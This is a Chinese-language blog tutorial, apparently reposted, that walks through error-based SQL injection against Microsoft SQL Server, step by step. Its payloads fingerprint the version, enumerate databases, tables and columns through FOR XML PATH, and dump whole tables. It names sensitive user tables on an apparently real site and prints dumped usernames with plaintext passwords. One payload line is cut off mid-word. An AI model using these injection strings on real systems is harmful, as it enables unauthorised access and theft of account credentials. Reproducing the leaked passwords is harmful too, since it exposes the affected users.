mssql的sql注入拿后台

0x01判断数据

①判断数据库类型

and exists (select * from sysobjects)--返回正常为mssql(也名sql server)
and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈

②判断数据库版本      

返回正确mssql数据库

0X02判断数据库版本

?id=1 and 1=@@version—

?id=1 and substring((select @@version),22,4)='2008'—

--适用于无回显模式,后面的2008就是数据库版本,返回正常就是2008的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是2008的话就返回正常)

0X03获取所有数据库的个数

and 1=(select quotename(count(name)) from master..sysdatabases)—

2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --
3. and 1=(select str(coun、    and 1=(select quotename(count(name)) from master..sysdatabases where dbid>5)--
    and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --
    and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --
说明:dbid从1-4的数据库一般为系统数据库.

0x05获取数据库

and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))—

and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))—

0x06获取当前数据库

and db_name()>0

and 1=(select db_name())—

 

0X07

⑦获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于mssql2005及以上版本)】

and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))-- 
    and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--复制代码测试效果图:得到 3个敏感的表:Whir_Sec_Users/Whir_Mem_Member/Whir_Mem_MemberGroup

 

[ahcmd][Siwebtmp][admin]

0X08

⑧获得表里的列一次爆指定表的所有列(只限于mssql2005及以上版本):   

and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- 
    and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

效果图:既然有账户信息,我就不管是不是管理员的的了,我帖子的目的不是为了得到管理员的信息,只是为了演示可以通过这个方法来获取相关信息。

[id][name][password][home]

0X09爆字段

获取指定数据库中的表的列的数据库逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):  

  and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--
一次性爆N条所有字段的数据(只限于mssql2005及以上版本):
    and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--复制代码第一条语句:and 1=(select top 1 * from 指定数据库..指定表名 FOR XML PATH(''))--测试效果图:----------------------------------加上where条件筛选结果出来会更加好,如:where and name like '%user%'  就会筛选出含有user关键词的出来。用在筛选表段时很不错。

注意:在使用一次获取数据库信息的语句时,请使用火狐浏览器,笔者测试 IE8、360急速浏览器、猎豹浏览器均卡死,火狐浏览器也会导致出现几秒钟的卡死,弹出框框,我们点击“停止脚本”就会得到初步解决。!!!!!!!!!!!!!!!!!!!!至此,我们已经得到了账户信息了,至于管理员的呢,哈哈,大家自行测试时换表啥的就好了。

<id>1</id><name>alex</name><password>HACKER</password><home>LLLAS</home><id>2</id><name>BOM</name><password>QWE123z</password><home>bananqu</home><id>3</id><name>Csle</name><password>hu1982</password><home>jiujinsa</home><id>4</id><name>Fsjam</name><password>qwoe555</password><home>www</home><id>5</id><name>admin</name><password>admin</password><home>admin1111</home>

猜你喜欢

转载自www.cnblogs.com/-zhong/p/10944660.html
今日推荐